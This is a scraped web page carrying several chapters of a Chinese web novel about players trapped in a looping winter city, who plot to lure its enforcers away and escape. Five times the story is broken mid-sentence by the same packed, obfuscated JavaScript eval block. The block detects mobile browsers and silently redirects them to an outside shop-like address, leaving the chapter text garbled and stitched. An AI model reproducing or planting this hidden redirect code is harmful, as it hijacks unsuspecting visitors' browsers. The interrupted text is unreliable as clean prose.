d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237708|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可有的待了。”初一笑道,“反正比去雪原刨冰好得多。你是老大,你说了算。” 妄主只吸了几口烟,便将香烟还给初一。初一接过,重新叼回自己嘴里,动作行云流水,像早就习惯了和妄主同抽一根。 “你在相机里给初与序留了什么?”妄主开口问道。 “一点小小的惊喜。”初一朝祂眨了眨眼,“之前去善佑医院的时候拍的,关于冬逢初的一些事。她应该早就猜到了七七八八,但猜到和亲眼看到总归是不一样的,还是让她亲眼看看当时的场景比较好。” 妄主平静地说:“之前的轮回里,你并没有给她留下这个。为什么这次要这么说?” 初一拿下烟,夹在指间弹了弹烟灰:“这次的初与序不是没有记忆嘛,也比较特殊。我怕她万一真没猜到,等回了现实发现了冬逢初的事,一下子承受不了崩溃了怎么办?” “现在告诉她,让她先有个心理准备。不过嘛……她比我想得聪明,竟然在《死亡电梯》副本时就猜到了一小半,后来接受得也很快,一点反应都没有,跟没事人一样。” “当时清除她的记忆,现在看来是对的。”妄主缓缓道,“她不是第一次来永冬之城了。” 初一猛地转过头看向祂,睁大眼睛:“你你你……你知道……?” 妄主冷冷地和她对视,仿佛在说:不然呢? “我还要谢谢你呢。”祂一字一句道,“第十八次轮回的初与序才能回来。” 初一脸上的玩世不恭僵住,她干笑了两声,试图解释:“那个……我当时,确实觉得那次的她比较特别,而且也是她自己主动找到我,提出要活下来的。我真不知道她会在阁楼里捣鼓出什么时光机,打算回到第十八次轮回的开始,重新来过。” 妄主面无表情地看着她:“打乱轮回次序,会让一切变得混乱。对你,对她,尤其是对我,伤害会很大。我的精神力很可能会因此全部消散,永冬之城所有玩家都会死,但永冬之城还会存在。” 那将是最糟糕的结果,系统失控,原本的玩家全灭,世界依旧轮回,在现实的人类还会被卷入这场无休止的轮回,死也死不了,待上几千年,几亿年,看不到尽头。 初一脸上的血色褪去了一些,张了张嘴:“她这不是没成功回到那次轮回吗?我后来查过,她启动时光机时,你刚好在清理第555次轮回的「初与序」记忆,导致她的时光机坐标偏移,她没能回到第18次轮回,而是跳转到了第555次轮回,也就是现在这次。” “所以她干脆直接装成了第555次轮回的初与序,没了记忆,下了永冬之城。” 妄主听完,轻轻地叹了口气。 “如果我当时没有去清除那个「初与序」的记忆呢?”妄主淡淡道。 初一想了半天,也想不出该怎么回答。她曾经干的罪行可比现在u谷去初与序面前公然挑衅大得多了,妄主要是想罚她,她不用去刨冰,估计直接被埋在冰下了。 “下次要做什么,提前和我说。”妄主最终只是说了这一句话。 初一立刻点头:“一定一定,绝对提前报备。” 她飞快从沙发上站起来,像是急于逃离这个地方:“那我先回去了?告诉u谷这个好消息,他不用上吊了,禁足就行。” 妄主没说话,疲惫地摆了摆手,示意初一赶紧滚。 初一如蒙大赦,立刻转身溜出了书房。 330.“计划” 永冬之城又下雪了。 灰白色的云层压得很低,沉甸甸地坠在城市上空。第一片雪花落下来时,悄无声息地贴在D栋窗玻璃上,瞬息就化了,只留下一道蜿蜒的水痕。 然后雪就大了,纷纷扬扬,缠绵悱恻,却又带着北地特有的冷冽,雪粒子抽打着永冬之城的高楼大厦。蓝幽幽的天,白皑皑的地,中间隔着路灯投下一层昏黄的光晕。光晕里,雪花旋转,坠落,周而复始。 初与序没有打伞,独自站在一盏路灯下。雪斜着切进光里,一片叠着一片,落在她大衣肩头。她静静站着,望着不远处灯火通明的礼堂,隐约的喧闹声从那里传来,不少玩家已经聚集。 忽然,头顶的光被切开一角。 黑色的伞面从后方移过来,稳稳遮住了她头顶的雪幕。温暖的气息靠近,冬逢初的影子从侧面覆过来,将她笼罩。 他柔声道:“走吧,他们都在礼堂等你。” 初与序微微抬起头,看了爱人一眼。 看见他眸底落着寂静的雪,和浸在骨子里的温柔和宁和,整个人隔开了外界的寒冷与喧嚣。 初与序轻轻呼出一口白雾,在冬逢初的伞下转过身,两人并肩朝着礼堂灯火的方向走去。 礼堂已经坐了一百多人,一眼望去几乎都是永冬之城叫得上名字的高层玩家,在低声谈话着。 冬逢初推开沉重的双扇大门,吱呀声让原本嘈杂的议论声小了下去。所有目光齐刷刷投向门口,落在并肩走进来的两人身上。 初与序抬起头看向讲台那边,景明垂已经站在了讲台旁边,深棕色的长发束成双马尾,低头看着面板。听到门口的动静,她抬起眼看到初与序,朝她点了点头。 等初与序走近,景明垂微微侧身,耳语道:“带队进副本的一百三十人全都在这里了,你确定要把计划全盘告诉他们?” 初与序轻声道:“不说,他们会起疑。说一半就够了。” 她径直走向讲台中央,冬逢初则停在了景明垂身侧,也压低声音道:“这些人从前几天就开始要求知道全部计划,不说清楚他们不会同意带队。” 景明垂皱起眉:“你确定他们听完计划后还会同意?没有人会愿意拿自己的命去赌。” 冬逢初说道:“放心,听听阿序打算这么说。” 台上,初与序伸出手,轻轻拨弄了一下立式麦克风。 滋—— 尖锐的电流噪音响起,台下最后一点窃窃私语也消失了,所有玩家的目光都落在她身上。 “都知道我是谁,就不自我介绍了。”初与序没有使用麦克风,但她的声音传遍了整个安静的空间,“说说吧,你们都知道计划的哪些部分?” 短暂的沉默后,前排一个短发女生率先出声:“我们知道不久前的系统瘫痪是计划的第一环,下一环是后天,我们需要每人带领一百名玩家进入副本,在副本内存活,并维持秩序,直到……回到现实。” 紧接着,另一位高大的男玩家接话:“但没人告诉我们,‘秩序’具体指什么,以及为什么需要一万三千人同时进入副本?这个数字太庞大了。” 初与序站在讲台后,昏黄的顶光在她脸上投下明暗分界,她的表情很平静,平静得近乎淡漠。 “因为,我们要造一座空城。” “我们需要让永冬之城里一大半,甚至所有的执行官离开这里。”初与序继续解释,“唯一的办法就是让他们进入副本,去处理副本内部状况。” “当永冬之城成为空城,所有管理员将不得不亲自下场,来看管剩下的玩家。而那时,妄主将会孤身一人。” 一个清脆的女声响起:“那我们该怎么吸引执行官进入副本?” 初与序循声看去,举手的竟是蒋川,老熟人了。她的目光在蒋川脸上停留了几秒,然后移开重新看向所有人:“接下来,我来告诉你们,进入副本后需要做什么。” 她微微向前倾身,双手撑在讲台的木质边缘。这个姿态本该是充满倾吐感和信任感的,可她的眼神却深不见底,映不出丝毫情绪。 她从面板里取出一件东西,那是一枚青铜铃铛,悬浮在她摊开的掌心上方。铃铛表面刻满了暗红色的符文。台下所有玩家的目光都被这铃铛牢牢吸引过去,一时间竟移不开眼,一股莫名的寒意顺着脊背爬升。 “这是血誓铃,我和我的队友从某个副本里带出来的道具。”初与序说道,“当我摇动这枚铃铛时,所有身处副本内的玩家会进入短暂的意识空白状态,并且会不受控制地去破坏当前副本里最重要的一条规则。” “你们只需要打晕那些可能幸运躲过铃铛控制的零星玩家,确保他们不会影响计划进程。除此之外,什么都不用做。” 话音落下,台下的低声议论瞬间变成了嗡嗡的喧哗。 “你让我们主动违规?”一个玩家猛地站起来,“如果那些进入副本的执行官不是处理bug,而是直接清理我们这些违规玩家呢?我们岂不是自己往枪口上撞?” 初与序抬起眼迎上那位玩家,眼神依旧平静,没有波澜。 “不。”她笃定地说,“你们不会死。” “如果只是一个、两个玩家违规,执行官会执行清理程序。但如果是一万三千名玩家在同一时间段,不同副本内违规,执行官会优先判定为副本出现bug。他们进入副本后第一要务是修复漏洞,防止崩溃扩散,然后才会考虑如何处置你们。” “他们大概率会将你们短暂控制,或者直接带离副本现场。这个过场,不会有生命危险。我重复一遍——不会,有生命危险。” 初与序最后说道,声音里带上像是诱哄的温和:“等你们再次恢复意识时,面对的就是现实世界的天空了。” 玩家们沉默了几秒,有人脸上控制不住地浮现出狂喜,有人脸上带着疑虑不安,交头接耳,也有人面无表情地坐在那里,看不出他们的心思。 又过了片刻,另一位坐在中后排的男玩家举起了手:“所以我们用一万三千人做诱饵,将执行官全部引进副本。永冬之城变成空城,管理员不得不亲自下来维持秩序。那么……管理员,怎么解决?” 初与序手指轻握,血誓铃被收回面板。 “冬逢初和景明垂会带队守在永冬之城。”她看了一眼台侧的两人,“他们会拖延管理员的时间,防止他们有机会回到妄主身边。” “而我会去找妄主。”她说,“接下来就是我的事了,你们不需要知道。” 没有人再说话,初与序知道他们信了。玩家们太渴望一个“无人死亡”的胜利,太渴望一个“安全回家”的承诺。这份渴望炽热到足以灼伤理智,让他们下意识忽略她话里的问题。 “我要说的只有这么多。”初与序再次开口,罕见地朝着台下陌生的玩家露出一个温和的笑容,“只要你们按照计划行动,我们一定能回到现实。” “我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237709|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有这一次机会,清楚了吗?” 台下响起参差不齐,但足够清晰响亮的回应:“清楚了。” 初与序点了点头,语气恢复了平时的冷淡:“就到这里吧,各位这两天好好休息。” 台下的玩家也渐渐骚动起来,三三两两站起身,朝着礼堂各个出口移动。初与序走下讲台,和等在台侧的景明垂与冬逢初对上视线。 景明垂嘴唇动了动,似乎想说什么—— “初姑娘。” 一个苍老平和的声音从后方传来,三人同时转头看去。身后站着一位老人,灰布长衫,洗得发白,却很整洁。须发皆白,手里拄着一根拐杖,看起来很有年头。正是很久以前在讨论会上曾开口说过话的老人家。 “您好。”初与序朝他微微欠了欠身,“请问有什么事吗?” 老人家看着她,那双浑浊的眼睛里却有微光隐约闪动,像是平静湖底埋藏已久的星子。他看了她很久,才缓缓道:“初姑娘,可否……借一步说话?” 初与序点了点头,景明垂和冬逢初对视一眼,先一步朝着礼堂正门走去。 偌大的礼堂此刻只剩下初与序和那位老人,老人拄着拐杖,慢慢走到她面前几步远的地方停下:“你终于,走到这里了。” “我是永冬之城第一位长生者。”老人缓缓说道,“也是第一位保留了所有循环记忆的人,和你们队伍里的江意一样。” 他看着初与序,目光似乎穿透了她此刻的躯体,看到了无数个轮回里,那些或意气风发、或绝望挣扎、或冰冷疯狂的她。 “我见过你很多次了。”他说。 “那这是第一次?”初与序轻声开口。 “走到结局眼前的这一次?”老人顿了顿,缓缓点头,“是,是第一次。” 他微微抬起拐杖,轻轻敲了敲地面,继续说道:“你失败了五百五十四次,有时,你在第一步就放弃了,有时,你走到一半,发现前方无路,自己停下来了,更多的时候,你死在离目标最近的地方。” 风不知从哪个窗缝里钻进来,带着雪夜的寒意,吹动了初与序脸颊边的发丝。她站在那里,身形瘦削,脸上没有悲喜,像一场忘了停的雨。 过了很久,初与序才缓缓开口:“就没有……别的路了吗?” “唯一的路,一直都在你脚下。”老人用拐杖指向她脚下,“你只是不敢走而已。” 初与序扬起嘴角,扯出一个苦涩的笑意:“是,以前的我确实不敢走。” “你心不够狠。”老人的话语剖开那些轮回里血淋淋的真相,“你总会留一个‘万一’,留一个‘或许他能活下来’的念想,就为了那一点点虚无缥缈的念想。” “这一次,你不要念想了。”老人最后说,“这是对的,只有这样的你,才杀得死你自己。” 初与序没有反驳,只是安静地站在那里,承受着这计划,仿佛早就接受。老人又看了她一眼,抬起枯瘦的手摸了摸自己花白的胡须。 “所以,要把该断的断了吧。” 他拄着拐杖,缓缓转过身,朝着礼堂大门的方向蹒跚地走去。初与序站在原地,看着那个灰布长衫的背影渐渐融入门口的阴影里。 老人走到门边,手扶上门框,停顿了一下。一句话随风飘了回来,重若千钧: “初姑娘,下次见希望在现实啊。” 话音落下,他佝偻的身影便消失在门外的夜色与风雪中。 331.冬 初与序一个人在空旷的礼堂站了一会儿,她也不知道自己为什么要站在那里。她转过头,看向旁边的玻璃窗。 室内暖气开得很足,玻璃窗上凝了一层薄薄的白雾。初与序看着那层雾,看了一会儿,忽然抬起手,伸出食指,轻轻抵在冰凉的玻璃上,在那一小片薄雾上慢慢地、一笔一划地写了一个字: 冬。 指尖划过的雾气被抹开,留下几道清晰的痕迹。透过这个字的空隙,能窥见外面一小片天地的景象——漫天飞舞的雪,无休无止的白。 写完,初与序收回手静静地看着那个字,又透过字看向外面。看了几秒,她转身朝着礼堂外走去。 冬逢初和景明垂没有走远,就打着伞站在礼堂外一棵没有叶子的大树下,低声交谈着什么。 现在接近黄昏,永冬之城的黄昏有独特的色调,天空是带着灰调的蓝,像是被水稀释过的墨水,均匀地铺展。这种蓝调时刻在这里格外漫长,一直从下午五六点到凌晨五点,初与序一直很喜欢这个时刻,但以前在善佑医院那几年根本看不到,窗户是封着的。 初与序走过去,抬手接了一片飘落的雪花。六角形的冰晶落在她掌心,眨眼就化了,只留下一星沁凉的湿意,恍惚间,像某人留下的温柔缱绻的吻。 她握了握掌心,听见景明垂跟他们说:“回去吧。” 路过D区楼下的小公园,火腿面包正坐在一个秋千上,秋千的链条和座椅上都覆盖着雪,它也不在意,一前一后慢悠悠地荡着。脖子上围着初与序之前给它织的小型红色围巾,在一片白茫茫中显得鲜活。 看到初与序三人走来,它停止晃动,扬起边角(算是手):“你们回来啦!” 初与序走到秋千旁,伸手拂去旁边空秋千座椅上的积雪,然后坐了下去。 “我跟你说哦初与序!”火腿面包立刻叽叽喳喳地凑过来,“我今晚去A区那家新开的饭店吃饭了!点了一份超级豪华的披萨,里面有土豆泥和芝士!味道绝了!还有那个饮料,蓝莓的味道,冒着泡泡,喝下去透心凉,爽!” “我还打包了一份蓝莓奶油小蛋糕,放在你冰箱最上层了!记得吃哦!” 初与序垂着眸子听着,呼出的气息在寒冷的空气里凝成薄薄的白雾,很快消散。 火腿面包说完,终于喘了口气,它停下来歪着头,芝麻眼睛仔细打量着初与序:“你咋了初与序?咋看起来心情不好?谁欺负你了?告诉我,我去骂它!你指谁我骂谁!” 初与序沉默了几秒。 “我们要走了。”她开口。 火腿面包愣了一下:“搬家?搬去哪儿?A区?不对,你嫌A区那边太吵。那是Z栋?那边倒是清净,但离车站好远哦。景明垂和冬逢初也会搬吗?为啥突然要搬家?” “不是搬家。”初与序说,“是离开永冬之城。” 火腿面包僵住了,像是没听懂:“……离开?” “嗯。”初与序轻声道,“我们找到了毁掉永冬之城的办法。这里不是我们玩家该永远生活的地方。玩家们需要回去,回现实,去见他们真正的家人、爱人、朋友。” “……我的意思是,永冬之城毁了,你可能也会跟那些执行官一起消失。” 火腿面包张了张嘴,芝麻眼睛疯狂转动,思考该怎么让接下来的对话不那么沉重。 “哈哈……”它笑了两声,“消失了就消失了呗!我还不乐意继续待在这个冰天雪地、天天吃不好睡不好的破地方呢!” 它挥了挥手:“就你那做饭水平,啧啧,不是糊了就是咸了,要不是冬逢初经常投喂我们俩,我们俩早就瘦成骨灰了。我每天都饿得前胸贴后背,你自己也吃不饱!你们回现实挺好的!真的!赶紧回去吧!现实里有热乎乎的火锅,有香喷喷的烤肉,有春天,夏天,秋天……” 它的声音渐渐低了下去,因为它看到初与序转过了头,正静静垂眸看着自己。 在昏黄的路灯和幽蓝的雪光映照下,那双总是平静的眼眸里似乎有一瞬的水光。但当火腿面包再仔细看去时,又什么都没有了,仿佛刚才只是光影造成的错觉。 “真的!”火腿面包提高了音量,“我一点都不伤心!一点都不!你和冬逢初赶紧手拉手回现实去!你不是还打算等回去了,要在苏州开一家花店吗?冬逢初就在你店旁边开个咖啡厅。多好!多完美的退休生活!” 初与序忽然低声说:“……对不起……” “哎呀,要啥好对不起的……”火腿面包声音也低了下来,“本来……你们就该回去了啊,永冬之城又不是什么好地方。” “我就只是个面包而已!一个会说话、会走路、会吃东西的怪面包!要不是你当初手气好,把我从那个破抽奖池里捞出来,我早就不知道被上面哪个贪嘴的管理员吃掉了!” 它用手拍了拍自己:“我能在永冬之城待这么久,跟你一起住了那么长时间,吃了那么多……嗯,虽然不太好吃的饭,但已经很值了!真的!” 初与序深深吸了一口气,冰冷的空气涌入肺部,带来一阵刺痛。 “我会想办法,让你、让D19,让C13,让那些帮过我们的执行官,也能去到现实。”她一字一句道。 “得了吧你!”火腿面包轻轻肘了初与序的胳膊,“让D19他们回去还行,他们长得像人,混进人群里也没啥,但你要让我回去?” 它指了指自己圆滚滚,黄澄澄的身体:“现实世界那些人看到一个面包竟然会说话会走路,还挑食,还爱看热闹,我怕是第二天会被送进什么秘密研究所,切片研究啦!” “不过嘛,话说回来,我还是看好你的,初与序。” 火腿面包凑近了些:“到时候我去你家藏着也行,也可以继续帮你把那些噩梦都吃掉。” 初与序垂着眼,静静地看着火腿面包。 她的眼神很深,像沉静的湖,底下却仿佛有暗流汹涌,藏着许多火腿面包看不懂,也不敢细想的情绪。火腿面包一时觉得,初与序看起来非常伤心,那是很沉重的悲伤,沉重的仿佛即将要消失在这个世界上的不是它这个面包,而是她自己一样。 这感觉让火腿面包心里发慌,又有点莫名的酸涩。 “哎呀!”它立刻从秋千上蹦下来,黄澄澄的身体在雪地里弹了弹,“走啦走啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237710|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !回去啦!外面冷死了!我面包皮都要冻裂了!” 它说完,不等初与序反应,就转过身迈开短腿朝着D栋跑过去。 跑到一半,它偷偷用余光瞥了身后一眼,初与序还在原地,身影在蓝调暮色和飘飞的雪花里显得有些单薄,有些孤清。 火腿面包心里更难受了,它猛地转回头加快速度,抬起一边的手飞快地擦了擦自己的芝麻眼睛。 初与序在原地又待了几秒,才缓缓从秋千上站起身,拍了拍大衣上沾上的雪花,朝着D栋的方向走了回去。 D栋,1703。 卧室里只开了一盏书桌上的台灯,光线柔和,晕开一小团暖黄。窗帘拉着一半,另一半窗户没有遮挡,清冷的月光从那里流淌进来,和书桌台灯的光晕融合在一起,最终落在书桌一角,照亮了那里铺着的一张浅蓝色信纸的边缘。 冬逢初坐在书桌前,他穿着宽松的灰色条纹衬衫,袖子随意挽到手肘,露出白皙的小臂。微微低着头,一手按着信纸,另一手握着笔,认真写着什么。 他垂着眼眸,写了一会儿,停下来微微侧头,看向窗外的雪景,似乎在思索下一句该如何落笔。 过了一会儿,他重新低下头,笔尖再次接触纸面,落下几个清隽有力的字。写完这一句,他停下笔,看向玻璃窗。 窗外,雪正簌簌地落进浓稠的夜色里,远处的高楼和近处的街灯都浸在朦胧的霜气中,轮廓模糊,天地之间只剩下白。风沉在了厚厚的雪层之下,没了声息,安静到他甚至能听见自己平稳的呼吸。 冬逢初看了很久,然后重新看向信纸,笔在手指间转了转,像是终于想好了最后的话语,再次落笔。 写完最后一句,他将笔帽盖上,放在一旁,然后将信纸对着光线,从头到尾看了一遍。 看完,他将信纸小心翼翼地沿着折痕折好,放进旁边一个同样浅蓝色,素雅的信封里。转身从书桌抽屉里取出一个小巧的木盒。 木盒里整齐地摆放着一些已经压干的勿忘我花瓣,他伸出修长的手指,从里面挑选出两片最好看的。花瓣保持着盛开时最美好的姿态,脉络清晰,颜色鲜亮,永远不会枯萎,永远停留在生命最灿烂的时刻。 这就是永冬之城的花。在永恒的冬天里盛开,维持着盛开的姿态。没有凋零,也没有未来。 冬逢初拿起两片勿忘我,沾了一点透明胶,将它们轻轻地贴在了信封的左上角和右下角。 做完这一切,冬逢初将木盒盖好收回抽屉。他没有再去动那个已经贴好干花的信封,就让它端端正正放在书桌中央,然后拿起手机。 点开微信,找到和景明垂的聊天窗口。上一次对话还停留在几天前,关于带队玩家名单确认。 【冬逢初】:我有一样东西想交给你,可以在楼下休息室见一面吗? 过了几分钟,屏幕亮起。 【景明垂】:好。 冬逢初按熄了屏幕,站起身走到衣柜前,拿出平常穿的黑色大衣披在衬衫外面,又将信封带上,放进了面板。 月光和灯光仍然温柔地笼罩着他,他带上了1703的大门,走进电梯。 332.前一天 行动前一天,永冬之城所有不知情玩家在查看副本分配时,集体陷入了荒谬的震惊—— 有一万三千名玩家被分配到了明天上午的同一时间,同时进入副本。其次,这一万三千人并非分散进入成千上万个不同副本。他们被分成了一百多个小组,每组一百人左右,而每个小组都被塞进了同一个大规模副本。 这在永冬之城的历史上是从未有过先例的奇迹,玩家们的第一反应是执行官分配出了bug,连那些执行官都罕见地茫然慌乱起来。 永冬之城的论坛也炸开了,有经验的老玩家嗅到了山雨欲来的气息。一部分玩家直接冲到了处理区,要求执行官重新分配名单。但已经分配好的玩家名单禁止修改,他们不出意外被轰走,老老实实回到家。 雪在城市上空不紧不慢地飘洒,街角偶尔有行人缩着脖子匆匆走过,眨眼就消失不见。 与此同时,宫殿外围的无垠雪原也下起了大雪。 倒不像平日的暴风雪,但比永冬之城内部的更大。室内玻璃窗上结着冰花,炉火燃得正旺,木材噼里啪啦,暖意充满。 妄主站在巨大的落地窗前,穿着一身银蓝色的斗篷,没有戴兜帽,露出苍白的面容。 窗外是混沌的天地,以祂的力量只需要挥挥手,就能让这场雪停下。但祂没有,只是静静地站在那里,看着窗外纷纷扬扬的雪。 半晌,祂抬起一只手,修长五指抵在玻璃上。呵出的白雾在玻璃上氤氲开来,稍纵即逝。 “大人。”身后传来熟悉的男声。 穿着蓝色管理员制服的眼镜男走到祂身后,停下脚步,微微躬身。 妄主没有回头,颔首,表示听到了。 “这次的初与序是第一个走到计划开始前一天的。”眼镜男道,“我们需要做点什么吗?” “不必。”妄主轻声道,“都随她去吧。” 眼镜男背着手,目光落在妄主单薄的背影上,沉默了几秒垂下眼,低声问道:“大人,您就这么相信这一次的初与序?” 妄主沉默了几秒,缓缓转过身,正对着管理员:“如果连这一次轮回的她都不能成功,那么永冬之城就只会永远存在,那么……几千年过去了,你们不能一直都被困在这里。” 眼镜男闻言,微微抬头:“其实可以。” 妄主似乎有些意外,银蓝色的眸子动了动。 “没有多少管理员真的想回到现实,如果要在这片雪原上永无止境待下去,我们也愿意。这里除了天气,和现实没有多大区别。”眼镜男向前迈了半步,“几千年了,大人。每一次循环结束,您陷入沉睡,又在新的循环开始前苏醒。您每一次都会问我们要不要离开,有没有后悔。” “没有任何一位管理员,选择离开。” 眼镜男沉声道:“我知道,您真正想做的不是保护永冬之城,而是毁掉它,带我们回到现实。但对于其他大多数管理员而言,他们以为您在保护这里,以为您或许在做一些不道德的事。即便如此,他们还是选择留下。” “所以,对我们来说,重要的从来都不是什么轮回,什么计划,什么永冬之城。”他一字一句道,“我们追随的,也从来都不是‘妄主’,我们在乎的从来都只是你。” 炉火爆出火星,发出啪的一声。 “……我不明白。”妄主说道,“我不明白你们为什么在乎我。” 祂微微偏过头,视线落在了跳跃的火焰上,又似乎穿过了火焰,看到了自己黑暗的过去。 “是我间接导致了永冬之城的出现,是我让无数玩家痛苦地死在副本里,是我让他们与现实的家人、朋友、爱人,生生分别,在无尽的循环中挣扎,遗忘,又记起,再遗忘。这一切的发生根源都在我。” “为了让永冬之城毁灭,我害了很多人,尤其是你们。” 妄主重新看向管理员:“我和你们分别后坐上这个位置,让你们成为管理员,在这片荒芜的雪原上一待就是几千年。我创造初一,创造无数个「初与序」,创造无数个你们的分裂体。我修改非长生者玩家的一部分记忆,让部分长生者的魂魄分成两半,一半当管理员,一半去永冬之城。又让拥有全部记忆的「初与序」一次次进入永冬之城,一次次度过循环,寻找回到现实的办法。” “这一路有无数个「你们」死亡了无数次,而你的分裂体长生了千年,也在这一次轮回中死亡。” 祂问道:“江意,你们当真不恨我?” 【江意】站在那里,炉火的光芒在他镜片上跳动,映着他平静的脸。 许久,他缓缓地摇了摇头:“不,这是我们自己选择的路。从一开始就是了,没有什么恨不恨的。” “期间,你也给了我们无数次掉头就走的机会,你做的一切,源头或许复杂,但最终都是为了我们,为了所有被困在这里的人。而受到伤害最大的,从来都是你自己。” 他的语气里带上了一丝疼惜:“你想尽了无数方法去减少我们的痛苦,去计算最小的牺牲,去铺设那条可能回家的路。你考虑了所有,但没有想过,如果永冬之城真的毁灭了,你是会跟我们一起回到现实,还是随着永冬之城一起消失。” “即使你骗了我们,那也是你站在我们的角度,反复思量,权衡了太久太久之后才做出的决定,而且我知道。如果大部分管理员都表现出要破坏永冬之城的倾向,善佑医院背后那些人就会察觉,然后控制这里。到时候,你连像现在这样和我们平静地说几句话都做不到了。” 【江意】的嘴角轻轻向上弯了一下,露出很浅,很温和的笑容:“我们可能会对你的某些决定起疑,可能会困惑,可能会争吵,但是我们不可能让你独自留在这里,更不可能背叛你。” 炉火的光芒在两人之间静静流淌,风雪在窗外呼啸。 【江意】说:“所以,我们在现实见,大人。” 管理员庄园里,某个宽敞得离谱的大厅里,此刻正一片欢愉。 投影屏幕上播放着某个游戏的激烈状况,角落里一群人坐在地上玩剧本杀,打麻将,吵吵嚷嚷,沙发区更是什么姿势都有,仰躺着睡觉的,抱着零食咔嚓咔嚓的,还有两个脑袋凑一起对着平板傻乐的,总之乱成一锅粥。 大门被推开,所有人的动作都停下,将目光齐刷刷投向门口走进来的人。 【江意】身上那套去见妄主的管理员制服在一群居家服中显得有些突兀,他对满屋子的混乱视若无睹,像是早就习惯,换上了拖鞋。 “意哥!妄主咋说啊?明天咱们是看戏还是帮忙啊?”一个盘腿坐在地毯上的黄毛用手肘撑住地板,倾身仰头问道。 “随歌你他妈别挂机啊!”一边立刻传来【u谷】凄厉的嚎叫,坐在电击椅上猛敲键盘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237711|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是排位!排位!!你用手说话是吧?” 【随歌】一个激灵,抓起丢在脚边的手机操作:“打打打!来了来了!打行了吧!别嚎了!” 【江意】走到沙发区,在最右边的单人沙发上坐下:“妄主说,按原计划行事。” “原计划?”【回北】屈起一条腿窝在对面沙发上,抱着平板看动漫,“哪来的原计划?咱们都几百年,不对,上千年没遇到这一批的初与序能走到这一步了。他们明天就要动手引走执行官,城里剩下的玩家肯定要搞事,咱们必须得下去。” 【江意】点了点头:“所以妄主的意思就是,让我们去阻止城里的玩家闹事。” “简单来说,就是跟他们干架。”初一叼着根棒棒糖,靠在沙发上懒洋洋补充。 “啊?”正在剧本杀(疑似凶手)的【向枝冥】探出头,错愕,“跟谁干架?这次轮回的「我」可还没死呢!让我自己跟自己干架?我自己的战斗力自己清楚,真的假的?” 【安楚】慢悠悠道:“你也可以选择站在旁边,看着他们把城拆了。” 【向枝冥】白了他一眼:“怎么不先把你给拆了?” 眼看话题又要歪到不知哪里去,初一提高了点音量:“行了,你们也不用太认真,反正都是假——” 话说到一半,旁边沙发上的【江意】和刚打输游戏的【u谷】同时咳嗽了几声,初一话音一顿,立刻改口:“……假期,对,放假!我们都多久没去永冬之城逛逛了?就当团建了。” 确实,除了初一和【u谷】,庄园里其他管理员上一次去永冬之城,还是在这次循环初期,初与序他们刚来不久的时候。 当时下去的那几个,不仅被初与序等人注意到了他们与自己相同的面容,还惹了很多事——比如【齐无尽】就曾和向枝冥打过一架,抢走了向枝冥身上一件叫「阴司路引」的道具,试图去地府捞她妹妹的魂魄,当然没成功,地府黑白无常让他赶紧滚,一个活人捞什么魂,他妹肯定能活过来。 又比如【向枝冥】,某次闲得发慌,用刀片隔断了初与序小队在处理区试图窃取通行卡时布下的鱼线,差点导致他们失败,幸亏景明垂反应及时,用琴弦将通行卡传回了处理区。后来初一一问,这家伙没心没肺,说只是单纯无聊,想看看他们怎么应对突发状况。 结果就是妄主知道了,将所有惹事的管理员罚去暴雪原徒手刨了四天冰,并被命令禁止短期内再私自下去找乐子。 “我觉得吧,这次轮回的那几个都不是啥好鸟。”【白闽】耸了耸肩,“要是不认真点对待,他们说不定真的能把永冬之城拆了。虽然城市毁不掉,但影响和后面修复也麻烦。” 她忽然想起什么,笑道:“不过嘛,我下去还能见到陈秋天。要是她也是管理员就好了。” 当年,虽然陈秋天和【江意】都是长生者,但她并没有像【江意】一样——魂魄分成两半,一半成为管理员,一半在永冬之城继续循环。而是这么多年一直在《坏孩子》副本里生活。 初一耸耸肩:“随便你们怎么做,反正他们后面都会复活的。” 所有管理员都以为她说的“复活”,是指下一次循环,没人起疑反驳。 大厅的喧嚣又很快回来,【江意】推了推眼镜,看向窗外的雪景上。初一咬碎了嘴里的棒棒糖,将自己在沙发里一窝,补觉去了。 333.吻 